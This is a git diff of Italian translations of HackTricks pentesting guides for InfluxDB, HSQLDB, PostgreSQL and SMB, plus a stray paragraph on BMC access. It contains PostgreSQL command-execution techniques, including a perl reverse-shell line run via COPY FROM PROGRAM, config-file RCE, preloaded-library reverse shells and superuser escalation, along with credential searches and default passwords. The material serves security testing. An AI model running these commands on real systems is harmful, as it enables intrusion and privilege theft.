L'accesso amministrativo al Baseboard Management Controller (BMC) apre vari percorsi per accedere al sistema operativo dell'host. Un approccio semplice prevede di sfruttare la funzionalità Keyboard, Video, Mouse (KVM) del BMC. Questo può essere fatto riavviando l'host in una shell root tramite GRUB (utilizzando `init=/bin/sh`) o avviando da un CD-ROM virtuale impostato come disco di recupero. Tali metodi consentono la manipolazione diretta del disco dell'host, inclusa l'inserzione di backdoor, l'estrazione di dati o qualsiasi azione necessaria per una valutazione della sicurezza. Tuttavia, ciò richiede il riavvio dell'host, che è uno svantaggio significativo. Senza riavviare, accedere all'host in esecuzione è più complesso e varia in base alla configurazione dell'host. Se la console fisica o seriale dell'host rimane connessa, può essere facilmente presa in carico tramite le funzionalità KVM o serial-over-LAN (sol) del BMC tramite `ipmitool`. Esplorare lo sfruttamento delle risorse hardware condivise, come il bus i2c e il chip Super I/O, è un'area che richiede ulteriori indagini.
## Introducing Backdoors into BMC from the Host

13
src/network-services-pentesting/8086-pentesting-influxdb.md
View File

@ -1,11 +1,10 @@
# 8086 - Pentesting InfluxDB
{{#include ../banners/hacktricks-training.md}}
## Informazioni di base
**InfluxDB** è un **database di serie temporali (TSDB)** open-source sviluppato da InfluxData. I TSDB sono ottimizzati per memorizzare e servire dati di serie temporali, che consistono in coppie timestamp-valore. Rispetto ai database di uso generale, i TSDB offrono miglioramenti significativi in **spazio di archiviazione** e **prestazioni** per i dataset di serie temporali. Utilizzano algoritmi di compressione specializzati e possono essere configurati per rimuovere automaticamente i dati obsoleti. Indici di database specializzati migliorano anche le prestazioni delle query.
**InfluxDB** è un **database di serie temporali (TSDB)** open-source sviluppato da InfluxData. I TSDB sono ottimizzati per memorizzare e servire dati di serie temporali, che consistono in coppie timestamp-valore. Rispetto ai database di uso generale, i TSDB offrono miglioramenti significativi in **spazio di archiviazione** e **prestazioni** per i dataset di serie temporali. Utilizzano algoritmi di compressione specializzati e possono essere configurati per rimuovere automaticamente i dati vecchi. Indici di database specializzati migliorano anche le prestazioni delle query.
**Porta predefinita**: 8086
```
@ -24,7 +23,7 @@ InfluxDB potrebbe richiedere autenticazione oppure no.
influx -host 'host name' -port 'port #'
> use _internal
```
Se ricevi un errore come questo: `ERR: unable to parse authentication credentials` significa che **si aspetta alcune credenziali**.
Se ricevi un errore come questo: `ERR: unable to parse authentication credentials`, significa che **si aspetta alcune credenziali**.
```
influx –username influx –password influx_pass
```
@ -47,7 +46,7 @@ _internal
```
#### Mostra tabelle/misurazioni
La [**documentazione di InfluxDB**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) spiega che le **misurazioni** in InfluxDB possono essere paragonate alle tabelle SQL. La nomenclatura di queste **misurazioni** è indicativa del loro contenuto rispettivo, ciascuna contenente dati rilevanti per un'entità particolare.
La [**documentazione di InfluxDB**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) spiega che le **misurazioni** in InfluxDB possono essere paragonate alle tabelle SQL. La nomenclatura di queste **misurazioni** è indicativa del loro contenuto rispettivo, ciascuna contenente dati rilevanti per un particolare ente.
```bash
> show measurements
name: measurements
@ -62,9 +61,9 @@ processes
swap
system
```
#### Mostra colonne/chiavi di campo
#### Mostra colonne/chiavi dei campi
Le chiavi di campo sono come le **colonne** del database
Le chiavi dei campi sono come le **colonne** del database
```bash
> show field keys
name: cpu
@ -99,7 +98,7 @@ time cpu host usage_guest usage_guest_nice usage_idle
> [!WARNING]
> In alcuni test con il bypass dell'autenticazione è stato notato che il nome della tabella doveva essere racchiuso tra virgolette doppie come: `select * from "cpu"`
### Autenticazione Automatica
### Automated Authentication
```bash
msf6 > use auxiliary/scanner/http/influxdb_enum
```

22
src/network-services-pentesting/9001-pentesting-hsqldb.md
View File

@ -1,20 +1,20 @@
# 9001 - Pentesting HSQLDB
{{#include ../banners/hacktricks-training.md}}
# Informazioni di base
## Informazioni di base
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** è il principale sistema di database relazionali SQL scritto in Java. Offre un motore di database multithreaded e transazionale, piccolo e veloce, con tabelle in memoria e su disco e supporta modalità incorporate e server.
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** è il principale sistema di database relazionali SQL scritto in Java. Offre un motore di database multithread e transazionale, piccolo e veloce, con tabelle in memoria e su disco e supporta modalità incorporate e server.
**Porta predefinita:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
# Informazioni
### Impostazioni Predefinite
## Impostazioni Predefinite
Nota che per impostazione predefinita questo servizio è probabilmente in esecuzione in memoria o è legato a localhost. Se lo hai trovato, probabilmente hai sfruttato un altro servizio e stai cercando di elevare i privilegi.
Le credenziali predefinite sono solitamente `sa` con una password vuota.
Le credenziali predefinite sono di solito `sa` con una password vuota.
Se hai sfruttato un altro servizio, cerca possibili credenziali usando
```text
@ -22,15 +22,15 @@ grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
Nota attentamente il nome del database - ne avrai bisogno per connetterti.
# Raccolta Informazioni
## Raccolta Informazioni
Connettiti all'istanza del DB scaricando [HSQLDB](https://sourceforge.net/projects/hsqldb/files/) ed estraendo `hsqldb/lib/hsqldb.jar`. Esegui l'app GUI \(eww\) usando `java -jar hsqldb.jar` e connettiti all'istanza utilizzando le credenziali scoperte/deboli.
Nota che l'URL di connessione avrà un aspetto simile a questo per un sistema remoto: `jdbc:hsqldb:hsql://ip/DBNAME`.
# Trucchi
## Trucchi
## Routine del Linguaggio Java
### Routine del Linguaggio Java
Possiamo chiamare metodi statici di una classe Java da HSQLDB utilizzando Routine del Linguaggio Java. Nota che la classe chiamata deve essere nel classpath dell'applicazione.
@ -38,7 +38,7 @@ Le JRT possono essere `funzioni` o `procedure`. Le funzioni possono essere chiam
Se il metodo Java che vogliamo chiamare restituisce void, dobbiamo usare una procedura invocata con l'istruzione `CALL`.
## Lettura delle Proprietà di Sistema Java
### Lettura delle Proprietà di Sistema Java
Crea funzione:
```text
@ -52,7 +52,7 @@ VALUES(getsystemproperty('user.name'))
```
Puoi trovare un [elenco delle proprietà di sistema qui](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
## Scrivere contenuto su file
### Scrivere contenuto su file
Puoi utilizzare il `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` gadget Java situato nel JDK \(caricato automaticamente nel class path dell'applicazione\) per scrivere elementi codificati in esadecimale su disco tramite una procedura personalizzata. **Nota la dimensione massima di 1024 byte**.

59
src/network-services-pentesting/pentesting-postgresql.md
View File

@ -1,6 +1,5 @@
# 5432,5433 - Pentesting Postgresql
{{#include ../banners/hacktricks-training.md}}
## **Informazioni di Base**
@ -53,7 +52,7 @@ SELECT * FROM pg_extension;
\s
```
> [!WARNING]
> Se eseguendo **`\list`** trovi un database chiamato **`rdsadmin`** sai di essere all'interno di un **database postgresql AWS**.
> Se eseguendo **`\list`** trovi un database chiamato **`rdsadmin`** sai di essere all'interno di un **database PostgreSQL AWS**.
Per ulteriori informazioni su **come abusare di un database PostgreSQL** controlla:
@ -66,7 +65,7 @@ Per ulteriori informazioni su **come abusare di un database PostgreSQL** control
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
```
### [**Forza bruta**](../generic-hacking/brute-force.md#postgresql)
### [**Brute force**](../generic-hacking/brute-force.md#postgresql)
### **Scansione delle porte**
@ -81,7 +80,7 @@ connect_timeout=10');
```
- L'host è inattivo
`DETTAGLI: impossibile connettersi al server: Nessuna rotta verso l'host. Il server è in esecuzione sull'host "1.2.3.4" e accetta connessioni TCP/IP sulla porta 5678?`
`DETAIL: impossibile connettersi al server: Nessuna rotta verso l'host. Il server è in esecuzione sull'host "1.2.3.4" e accetta connessioni TCP/IP sulla porta 5678?`
- La porta è chiusa
```
@ -93,7 +92,7 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
```
o
or
```
DETAIL: FATAL: password authentication failed for user "name"
```
@ -102,7 +101,7 @@ DETAIL: FATAL: password authentication failed for user "name"
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
In PL/pgSQL, attualmente non è possibile ottenere dettagli sulle eccezioni. Tuttavia, se hai accesso diretto al server PostgreSQL, puoi recuperare le informazioni necessarie. Se l'estrazione di nomi utente e password dalle tabelle di sistema non è fattibile, potresti considerare di utilizzare il metodo di attacco con wordlist discusso nella sezione precedente, poiché potrebbe potenzialmente dare risultati positivi.
In PL/pgSQL functions, attualmente non è possibile ottenere dettagli sulle eccezioni. Tuttavia, se hai accesso diretto al server PostgreSQL, puoi recuperare le informazioni necessarie. Se estrarre nomi utente e password dalle tabelle di sistema non è fattibile, potresti considerare di utilizzare il metodo di attacco wordlist discusso nella sezione precedente, poiché potrebbe potenzialmente dare risultati positivi.
## Enumerazione dei Privilegi
@ -114,12 +113,12 @@ In PL/pgSQL, attualmente non è possibile ottenere dettagli sulle eccezioni. Tut
| rolinherit | Il ruolo eredita automaticamente i privilegi dei ruoli di cui è membro |
| rolcreaterole | Il ruolo può creare altri ruoli |
| rolcreatedb | Il ruolo può creare database |
| rolcanlogin | Il ruolo può accedere. Cioè, questo ruolo può essere utilizzato come identificatore di autorizzazione della sessione iniziale |
| rolcanlogin | Il ruolo può accedere. Cioè, questo ruolo può essere dato come identificatore di autorizzazione della sessione iniziale |
| rolreplication | Il ruolo è un ruolo di replica. Un ruolo di replica può avviare connessioni di replica e creare e rimuovere slot di replica. |
| rolconnlimit | Per i ruoli che possono accedere, questo imposta il numero massimo di connessioni concorrenti che questo ruolo può effettuare. -1 significa nessun limite. |
| rolpassword | Non la password (legge sempre come `********`) |
| rolvaliduntil | Tempo di scadenza della password (utilizzato solo per l'autenticazione della password); null se non c'è scadenza |
| rolbypassrls | Il ruolo ignora ogni politica di sicurezza a livello di riga, vedere [Sezione 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) per ulteriori informazioni. |
| rolvaliduntil | Tempo di scadenza della password (utilizzato solo per l'autenticazione della password); nullo se non c'è scadenza |
| rolbypassrls | Il ruolo ignora ogni politica di sicurezza a livello di riga, vedere [Section 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) per ulteriori informazioni. |
| rolconfig | Valori predefiniti specifici per il ruolo per le variabili di configurazione a runtime |
| oid | ID del ruolo |
@ -129,8 +128,8 @@ In PL/pgSQL, attualmente non è possibile ottenere dettagli sulle eccezioni. Tut
- Se sei membro di **`pg_read_server_files`** puoi **leggere** file
- Se sei membro di **`pg_write_server_files`** puoi **scrivere** file
> [!NOTE]
> Nota che in Postgres un **utente**, un **gruppo** e un **ruolo** sono la **stessa** cosa. Dipende solo da **come lo usi** e se **consenti l'accesso**.
> [!TIP]
> Nota che in Postgres un **utente**, un **gruppo** e un **ruolo** sono **la stessa cosa**. Dipende solo da **come lo usi** e se **consenti l'accesso**.
```sql
# Get users roles
\du
@ -212,7 +211,7 @@ SELECT * FROM pg_proc;
### Leggi directory e file
Da questo [**commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) i membri del gruppo definito **`DEFAULT_ROLE_READ_SERVER_FILES`** (chiamato **`pg_read_server_files`**) e **super utenti** possono utilizzare il metodo **`COPY`** su qualsiasi percorso (controlla `convert_and_check_filename` in `genfile.c`):
Da questo [**commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) i membri del gruppo definito **`DEFAULT_ROLE_READ_SERVER_FILES`** (chiamato **`pg_read_server_files`**) e gli **super utenti** possono utilizzare il metodo **`COPY`** su qualsiasi percorso (controlla `convert_and_check_filename` in `genfile.c`):
```sql
# Read file
CREATE TABLE demo(t text);
@ -280,6 +279,8 @@ Tuttavia, ci sono **altre tecniche per caricare grandi file binari:**
../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md
{{#endref}}
### Aggiornamento dei dati della tabella PostgreSQL tramite scrittura su file locale
Se hai i permessi necessari per leggere e scrivere file del server PostgreSQL, puoi aggiornare qualsiasi tabella sul server **sovrascrivendo il nodo file associato** nella [directory dei dati di PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). **Ulteriori informazioni su questa tecnica** [**qui**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
@ -336,7 +337,7 @@ WHERE pg_class.relname = '{TABLE_NAME}';
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
```
![Demo del PostgreSQL Filenode Editor](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif)
![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif)
6. Ricarica il filenode modificato tramite le funzioni `lo_*`, e sovrascrivi il file originale sul disco
@ -351,7 +352,7 @@ SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
```
8. Dovresti ora vedere i valori aggiornati della tabella in PostgreSQL.
8. Ora dovresti vedere i valori aggiornati della tabella in PostgreSQL.
Puoi anche diventare un superadmin modificando la tabella `pg_authid`. **Vedi** [**la sezione seguente**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables).
@ -386,7 +387,7 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I
> [**Ulteriori informazioni.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
Oppure usa il modulo `multi/postgres/postgres_copy_from_program_cmd_exec` di **metasploit**.\
Ulteriori informazioni su questa vulnerabilità [**qui**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Sebbene riportato come CVE-2019-9193, Postges ha dichiarato che si trattava di una [caratteristica e non sarà corretto](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
Ulteriori informazioni su questa vulnerabilità [**qui**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Sebbene segnalata come CVE-2019-9193, Postges ha dichiarato che si trattava di una [caratteristica e non sarà corretta](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
### RCE con i linguaggi PostgreSQL
@ -404,7 +405,7 @@ Una volta che hai **imparato** dal post precedente **come caricare file binari**
### RCE con il file di configurazione di PostgreSQL
> [!NOTE]
> [!TIP]
> I seguenti vettori RCE sono particolarmente utili in contesti SQLi ristretti, poiché tutti i passaggi possono essere eseguiti tramite istruzioni SELECT annidate
Il **file di configurazione** di PostgreSQL è **scrivibile** dall'**utente postgres**, che è quello che esegue il database, quindi come **superutente**, puoi scrivere file nel filesystem e quindi puoi **sovrascrivere questo file.**
@ -433,7 +434,7 @@ Quindi, un attaccante dovrà:
2. `ssl_passphrase_command_supports_reload = on`
6. Eseguire `pg_reload_conf()`
Durante il test ho notato che questo funzionerà solo se il **file della chiave privata ha privilegi 640**, è **di proprietà di root** e del **gruppo ssl-cert o postgres** (quindi l'utente postgres può leggerlo), ed è posizionato in _/var/lib/postgresql/12/main_.
Durante il test ho notato che questo funzionerà solo se il **file della chiave privata ha privilegi 640**, è **di proprietà di root** e del **gruppo ssl-cert o postgres** (in modo che l'utente postgres possa leggerlo), ed è posizionato in _/var/lib/postgresql/12/main_.
#### **RCE con archive_command**
@ -450,7 +451,7 @@ I passaggi generali sono:
3. Ricaricare la configurazione: `SELECT pg_reload_conf()`
4. Forzare l'operazione WAL a essere eseguita, il che chiamerà il comando di archiviazione: `SELECT pg_switch_wal()` o `SELECT pg_switch_xlog()` per alcune versioni di Postgres
#### **RCE con librerie preload**
#### **RCE con librerie di preload**
Ulteriori informazioni [su questa tecnica qui](https://adeadfed.com/posts/postgresql-select-only-rce/).
@ -517,7 +518,7 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so
6. Caricare il `postgresql.conf` dannoso, creato nei passaggi 2-3, e sovrascrivere quello originale
7. Caricare il `payload.so` dal passaggio 5 nella directory `/tmp`
8. Ricaricare la configurazione del server riavviando il server o invocando la query `SELECT pg_reload_conf()`
9. Alla successiva connessione al DB, riceverai la connessione della reverse shell.
9. Alla prossima connessione al DB, riceverai la connessione della reverse shell.
## **Postgres Privesc**
@ -525,7 +526,7 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so
#### **Grant**
Secondo le [**docs**](https://www.postgresql.org/docs/13/sql-grant.html): _I ruoli che hanno il privilegio **`CREATEROLE`** possono **concedere o revocare l'appartenenza a qualsiasi ruolo** che **non** è un **superutente**._
Secondo la [**documentazione**](https://www.postgresql.org/docs/13/sql-grant.html): _I ruoli che hanno il privilegio **`CREATEROLE`** possono **concedere o revocare l'appartenenza a qualsiasi ruolo** che **non** è un **superutente**._
Quindi, se hai il permesso **`CREATEROLE`** potresti concederti accesso ad altri **ruoli** (che non sono superutente) che possono darti la possibilità di leggere e scrivere file ed eseguire comandi:
```sql
@ -549,11 +550,11 @@ ALTER USER user_name WITH PASSWORD 'new_password';
```sql
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
```
> [!NOTE]
> [!TIP]
> Questo è solitamente possibile a causa delle seguenti righe nel file **`pg_hba.conf`**:
>
> ```bash
> # "local" è solo per connessioni a socket di dominio Unix
> # "local" è solo per connessioni tramite socket di dominio Unix
> local all all trust
> # Connessioni locali IPv4:
> host all all 127.0.0.1/32 trust
@ -565,11 +566,11 @@ COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username>
In [**questo articolo**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) viene spiegato come sia stato possibile **privesc** in Postgres GCP abusando del privilegio ALTER TABLE che è stato concesso all'utente.
Quando provi a **rendere un altro utente proprietario di una tabella** dovresti ricevere un **errore** che lo impedisce, ma apparentemente GCP ha dato quella **opzione all'utente postgres non superuser** in GCP:
Quando provi a **rendere un altro utente proprietario di una tabella** dovresti ricevere un **errore** che lo impedisce, ma apparentemente GCP ha dato quella **opzione all'utente postgres non-superuser** in GCP:
<figure><img src="../images/image (537).png" alt=""><figcaption></figcaption></figure>
Unendo questa idea con il fatto che quando i comandi **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) vengono eseguiti su una **tabella con una funzione di indice**, la **funzione** viene **chiamata** come parte del comando con i **permessi** del **proprietario della tabella**. È possibile creare un indice con una funzione e dare i permessi di proprietario a un **super user** su quella tabella, e poi eseguire ANALYZE sulla tabella con la funzione malevola che sarà in grado di eseguire comandi perché utilizza i privilegi del proprietario.
Unendo questa idea con il fatto che quando i comandi **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) vengono eseguiti su una **tabella con una funzione di indice**, la **funzione** viene **chiamata** come parte del comando con i **permessi** del **proprietario** della **tabella**. È possibile creare un indice con una funzione e dare i permessi di proprietario a un **super utente** su quella tabella, e poi eseguire ANALYZE sulla tabella con la funzione malevola che sarà in grado di eseguire comandi perché utilizza i privilegi del proprietario.
```c
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
@ -578,7 +579,7 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
#### Exploitation
1. Inizia creando una nuova tabella.
2. Inserisci del contenuto irrilevante nella tabella per fornire dati alla funzione di indicizzazione.
2. Inserisci del contenuto irrilevante nella tabella per fornire dati per la funzione di indicizzazione.
3. Sviluppa una funzione di indicizzazione malevola che contiene un payload di esecuzione del codice, consentendo l'esecuzione di comandi non autorizzati.
4. ALTERA il proprietario della tabella in "cloudsqladmin," che è il ruolo di superutente di GCP utilizzato esclusivamente da Cloud SQL per gestire e mantenere il database.
5. Esegui un'operazione ANALYZE sulla tabella. Questa azione costringe il motore PostgreSQL a passare al contesto utente del proprietario della tabella, "cloudsqladmin." Di conseguenza, la funzione di indicizzazione malevola viene chiamata con i permessi di "cloudsqladmin," consentendo così l'esecuzione del comando shell precedentemente non autorizzato.
@ -643,7 +644,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
```
### **Funzione definita personalizzata con** SECURITY DEFINER
[**In questo writeup**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), i pentester sono stati in grado di privesc all'interno di un'istanza postgres fornita da IBM, perché hanno **trovato questa funzione con il flag SECURITY DEFINER**:
[**In questo writeup**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), i pentester sono riusciti a privesc all'interno di un'istanza postgres fornita da IBM, perché hanno **trovato questa funzione con il flag SECURITY DEFINER**:
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
@ -678,7 +679,7 @@ E poi **eseguire comandi**:
### Pass Burteforce con PL/pgSQL
**PL/pgSQL** è un **linguaggio di programmazione completo** che offre un maggiore controllo procedurale rispetto a SQL. Consente l'uso di **cicli** e altre **strutture di controllo** per migliorare la logica del programma. Inoltre, **le istruzioni SQL** e **i trigger** hanno la capacità di invocare funzioni create utilizzando il **linguaggio PL/pgSQL**. Questa integrazione consente un approccio più completo e versatile alla programmazione e automazione del database.\
**PL/pgSQL** è un **linguaggio di programmazione completo** che offre un maggiore controllo procedurale rispetto a SQL. Consente l'uso di **cicli** e altre **strutture di controllo** per migliorare la logica del programma. Inoltre, le **istruzioni SQL** e i **trigger** hanno la capacità di invocare funzioni create utilizzando il **linguaggio PL/pgSQL**. Questa integrazione consente un approccio più completo e versatile alla programmazione e automazione del database.\
**Puoi abusare di questo linguaggio per chiedere a PostgreSQL di forzare le credenziali degli utenti.**
{{#ref}}
@ -687,7 +688,7 @@ E poi **eseguire comandi**:
### Privesc sovrascrivendo le tabelle interne di PostgreSQL
> [!NOTE]
> [!TIP]
> Il seguente vettore di privesc è particolarmente utile in contesti SQLi ristretti, poiché tutti i passaggi possono essere eseguiti tramite istruzioni SELECT annidate
Se puoi **leggere e scrivere file del server PostgreSQL**, puoi **diventare un superutente** sovrascrivendo il filenode su disco di PostgreSQL, associato alla tabella interna `pg_authid`.
@ -701,7 +702,7 @@ I passaggi dell'attacco sono:
3. Scaricare il filenode tramite le funzioni `lo_*`
4. Ottenere il tipo di dato, associato alla tabella `pg_authid`
5. Utilizzare il [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) per [modificare il filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); impostare tutti i flag booleani `rol*` a 1 per permessi completi.
6. Ricaricare il filenode modificato tramite le funzioni `lo_*`, e sovrascrivere il file originale sul disco
6. Ricaricare il filenode modificato tramite le funzioni `lo_*`, e sovrascrivere il file originale su disco
7. _(Opzionalmente)_ Cancellare la cache della tabella in memoria eseguendo una query SQL costosa
8. Ora dovresti avere i privilegi di un superadmin completo.

532
src/network-services-pentesting/pentesting-smb.md
View File

@ -1,532 +0,0 @@
# 139,445 - Pentesting SMB
{{#include ../banners/hacktricks-training.md}}
## **Porta 139**
Il _**Network Basic Input Output System**_** (NetBIOS)** è un protocollo software progettato per consentire a applicazioni, PC e desktop all'interno di una rete locale (LAN) di interagire con l'hardware di rete e **facilitare la trasmissione di dati attraverso la rete**. L'identificazione e la localizzazione delle applicazioni software che operano su una rete NetBIOS avvengono attraverso i loro nomi NetBIOS, che possono avere una lunghezza massima di 16 caratteri e sono spesso distinti dal nome del computer. Una sessione NetBIOS tra due applicazioni viene avviata quando un'applicazione (che funge da client) emette un comando per "chiamare" un'altra applicazione (che funge da server) utilizzando **TCP Port 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
Tecnicamente, la Porta 139 è riferita come ‘NBT over IP’, mentre la Porta 445 è identificata come ‘SMB over IP’. L'acronimo **SMB** sta per ‘**Server Message Blocks**’, che è anche modernamente conosciuto come il **Common Internet File System (CIFS)**. Come protocollo di rete a livello applicativo, SMB/CIFS è principalmente utilizzato per abilitare l'accesso condiviso a file, stampanti, porte seriali e facilitare varie forme di comunicazione tra nodi su una rete.
Ad esempio, nel contesto di Windows, si evidenzia che SMB può operare direttamente su TCP/IP, eliminando la necessità di NetBIOS su TCP/IP, attraverso l'utilizzo della porta 445. Al contrario, su sistemi diversi, si osserva l'impiego della porta 139, indicando che SMB viene eseguito in congiunzione con NetBIOS su TCP/IP.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
Il **Server Message Block (SMB)** protocol, che opera in un modello **client-server**, è progettato per regolare l'**accesso ai file**, alle directory e ad altre risorse di rete come stampanti e router. Utilizzato principalmente all'interno della serie di sistemi operativi **Windows**, SMB garantisce la compatibilità all'indietro, consentendo ai dispositivi con versioni più recenti del sistema operativo Microsoft di interagire senza problemi con quelli che eseguono versioni più vecchie. Inoltre, il progetto **Samba** offre una soluzione software gratuita, consentendo l'implementazione di SMB su sistemi **Linux** e Unix, facilitando così la comunicazione cross-platform tramite SMB.
Le condivisioni, che rappresentano **parti arbitrarie del file system locale**, possono essere fornite da un server SMB, rendendo la gerarchia visibile a un client parzialmente **indipendente** dalla struttura effettiva del server. Le **Access Control Lists (ACLs)**, che definiscono i **diritti di accesso**, consentono un **controllo dettagliato** sui permessi degli utenti, inclusi attributi come **`execute`**, **`read`** e **`full access`**. Questi permessi possono essere assegnati a singoli utenti o gruppi, in base alle condivisioni, e sono distinti dai permessi locali impostati sul server.
### IPC$ Share
L'accesso alla condivisione IPC$ può essere ottenuto tramite una sessione anonima null, consentendo l'interazione con i servizi esposti tramite named pipes. L'utilità `enum4linux` è utile a questo scopo. Utilizzata correttamente, consente di acquisire:
- Informazioni sul sistema operativo
- Dettagli sul dominio principale
- Una compilazione di utenti e gruppi locali
- Informazioni sulle condivisioni SMB disponibili
- La politica di sicurezza del sistema efficace
Questa funzionalità è fondamentale per gli amministratori di rete e i professionisti della sicurezza per valutare la postura di sicurezza dei servizi SMB (Server Message Block) su una rete. `enum4linux` fornisce una visione completa dell'ambiente SMB del sistema target, essenziale per identificare potenziali vulnerabilità e garantire che i servizi SMB siano adeguatamente protetti.
```bash
enum4linux -a target_ip
```
Il comando sopra è un esempio di come `enum4linux` potrebbe essere utilizzato per eseguire un'enumerazione completa contro un obiettivo specificato da `target_ip`.
## Cos'è NTLM
Se non sai cos'è NTLM o vuoi sapere come funziona e come abusarne, troverai molto interessante questa pagina su **NTLM** dove viene spiegato **come funziona questo protocollo e come puoi trarne vantaggio:**
{{#ref}}
../windows-hardening/ntlm/
{{#endref}}
## **Enumerazione del Server**
### **Scansiona** una rete alla ricerca di host:
```bash
nbtscan -r 192.168.0.1/24
```
### Versione del server SMB
Per cercare possibili exploit per la versione SMB, è importante sapere quale versione viene utilizzata. Se queste informazioni non appaiono in altri strumenti utilizzati, puoi:
- Usare il modulo ausiliario **MSF** _**auxiliary/scanner/smb/smb_version**_
- Oppure questo script:
```bash
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
### **Cerca exploit**
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
### **Credenziali** Possibili
| **Nome utente** | **Password comuni** |
| -------------------- | ----------------------------------------- |
| _(vuoto)_ | _(vuoto)_ |
| ospite | _(vuoto)_ |
| Amministratore, admin | _(vuoto)_, password, amministratore, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
### Forza Bruta
- [**Forza Bruta SMB**](../generic-methodologies-and-resources/brute-force.md#smb)
### Informazioni sull'Ambiente SMB
### Ottenere Informazioni
```bash
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>
#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information
#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
